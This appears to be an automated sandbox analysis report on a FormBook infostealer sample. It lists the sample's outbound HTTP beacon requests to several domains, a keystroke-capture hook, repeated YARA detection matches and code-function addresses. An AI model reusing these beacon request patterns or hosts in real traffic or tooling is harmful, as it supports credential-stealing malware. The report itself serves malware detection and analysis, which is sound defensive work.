Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=IXYNpvQ1BiZ44tShy9SgvoX4c9kgPxO5K/+6kCom7tZxGdFtiZvct/5RRpjh/yF5dNln&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.websitessample.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=rc6cG9leRruTx/YFamCczYYGme6fHdvMbIxv+wAuDzmHDYSO236DISOvOLkKOKiYq/4R&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.foxandmew.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=IjrmxmCSNg9SW3Y0DfjHEVuIkvJ5tkiLJE48G3emnLXjviiyyOAbNkhdp+PdSxIUf+MM&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.9linefarms.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /mwev/?-Zf=4s7fstVSzLCadPpci11R7qAZUnePXrmWLsX7/7GiC0yrg0b/n74rqRMRm0/pECdGagYy&v0GTT=9rntXVQxPfS89pvp HTTP/1.1Host: www.rip-online.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Creates a DirectInput object (often for capturing keystrokes)
Source: 1D4l9eR0W4.exe, 00000000.00000002.664916018.00000000015A0000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Uses 32bit PE files
Source: 1D4l9eR0W4.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
Yara signature match
Source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 0_2_0159E9F8 0_2_0159E9F8
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 0_2_0159E9EA 0_2_0159E9EA
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 0_2_0159BD9C 0_2_0159BD9C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00401028 3_2_00401028
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00401030 3_2_00401030
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00401174 3_2_00401174
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041D278 3_2_0041D278
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041D338 3_2_0041D338
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041CBFB 3_2_0041CBFB
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00408C8B 3_2_00408C8B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00408C90 3_2_00408C90
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041BD37 3_2_0041BD37
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00402D90 3_2_00402D90
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0041C74F 3_2_0041C74F
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00402FB0 3_2_00402FB0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189F900 3_2_0189F900
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B4120 3_2_018B4120
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AB090 3_2_018AB090
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019620A8 3_2_019620A8
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019628EC 3_2_019628EC
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01951002 3_2_01951002
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196E824 3_2_0196E824
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CEBB0 3_2_018CEBB0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195DBD2 3_2_0195DBD2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019503DA 3_2_019503DA
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01962B28 3_2_01962B28
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BAB40 3_2_018BAB40
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019622AE 3_2_019622AE
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0194FA2B 3_2_0194FA2B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2581 3_2_018C2581
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019625DD 3_2_019625DD
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AD5E0 3_2_018AD5E0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01962D07 3_2_01962D07
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01890D20 3_2_01890D20
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01961D55 3_2_01961D55
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A841F 3_2_018A841F
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195D466 3_2_0195D466
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0196DFCE 3_2_0196DFCE
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01961FF1 3_2_01961FF1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01962EF7 3_2_01962EF7
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195D616 3_2_0195D616
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B6E30 3_2_018B6E30
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E2B28 7_2_036E2B28
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DDBD2 7_2_036DDBD2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364EBB0 7_2_0364EBB0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E22AE 7_2_036E22AE
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03634120 7_2_03634120
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361F900 7_2_0361F900
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036D1002 7_2_036D1002
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E28EC 7_2_036E28EC
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E20A8 7_2_036E20A8
